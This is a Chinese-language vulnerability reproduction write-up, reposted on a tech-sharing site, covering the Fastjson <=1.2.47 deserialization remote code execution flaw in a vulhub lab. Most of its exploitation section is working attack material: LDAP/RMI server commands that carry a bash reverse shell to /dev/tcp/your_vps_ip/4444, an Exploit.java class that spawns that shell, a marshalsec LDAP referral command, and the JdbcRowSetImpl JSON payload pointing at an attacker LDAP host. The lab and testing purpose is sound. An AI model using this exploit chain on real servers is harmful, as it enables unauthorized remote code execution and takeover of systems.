ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

【漏洞复现】Fastjson <=1.2.47远程命令执行

2020-06-15 17:57:59  阅读:492  来源: 互联网

标签:Fastjson fastjson java 1.2 47 LDAP jar Exploit ip


 

0x01 漏洞概述

漏洞描述

Fastjson是一款开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。 Fastjson存在远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。 此漏洞为 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且无需依赖 autotype 的开启,这意味着默认配置下的 Fastjson 即会受到漏洞影响。

影响版本

Fastjson <= 1.2.47  

0x02 环境准备

直接使用vulhub中的docker环境进行部署
cd /vulhub/fastjson/1.2.47-rce
docker-compose up -d
  部署好后访问http://ip:8090,访问显示如下即搭建成功

0x03 测试及利用方法

测试方法

方法一:使用工具FastjsonScanner(内置多个payload)

工具下载地址:前往土司下载
如下图所示,填写待测试目标url、dnslog地址、请求包,点击scan 结束后,对比scan result和dnslog记录。Dnslog中有test6记录,说明存在漏洞,序号为6的payload可用。

方法二:使用工具fastjson_rce_tool.jar

工具下载地址:https://github.com/wyzxxz/fastjson_rce_tool

公网启动LDAP或者RMI服务

 
Usage:
RMI: java -cp fastjson_tool.jar fastjson.HRMIServer your_vps_ip 80 "curl  xx.dnslog.cn"
LDAP: java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "curl  xx.dnslog.cn"
  关于command列的使用参考下图: LDAP如下: VPS中开启LDAP服务,并预执行命令curl xxx.dnslog.cn  
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "curl xx.dnslog.cn"
  将payload复制到body中并发送 VPS中显示有连接信息并发送完命令 Dnslog查看到记录,说明命令执行成功

利用方法

方法一:使用fastjson_rce_tool.jar

开启LDAP服务监听,并设置预执行命令(反弹shell)  
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "bash=/bin/bash -i  >& /dev/tcp/your_vps_ip/4444 0>&1"
  Burp发送exp 成功反弹shell   备注:RMI同理。把LDAP替换为RMI即可(笔者使用rmi不能稳定复现)

方法二:使用marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java

下载地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
Exploit.java代码如下(反弹shell)
public class Exploit{
    public Exploit() {}
 
 
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"/bin/bash","-c", "/bin/bash -i >& /dev/tcp/your_vps_ip/4444 0>&1"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
 
    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}
javac将Exploit.java编译为Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错) Python开启web服务器,将exploit.class放在根目录 marshalsec-0.0.3-SNAPSHOT-all.jar开启LDAP并转发至web服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  http://your_vps_ip/#Exploit 9999
  Burp发送exp
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_vps_ip:9999/Exploit","autoCommit":true}}
  成功反弹shell   备注:RMI同理。把LDAP替换为RMI即可(笔者使用rmi不能稳定复现)

0x04 修复建议

使用最新版fastjson,https://github.com/alibaba/fastjson  

标签:Fastjson,fastjson,java,1.2,47,LDAP,jar,Exploit,ip
来源: https://www.cnblogs.com/0nth3way/p/13132195.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有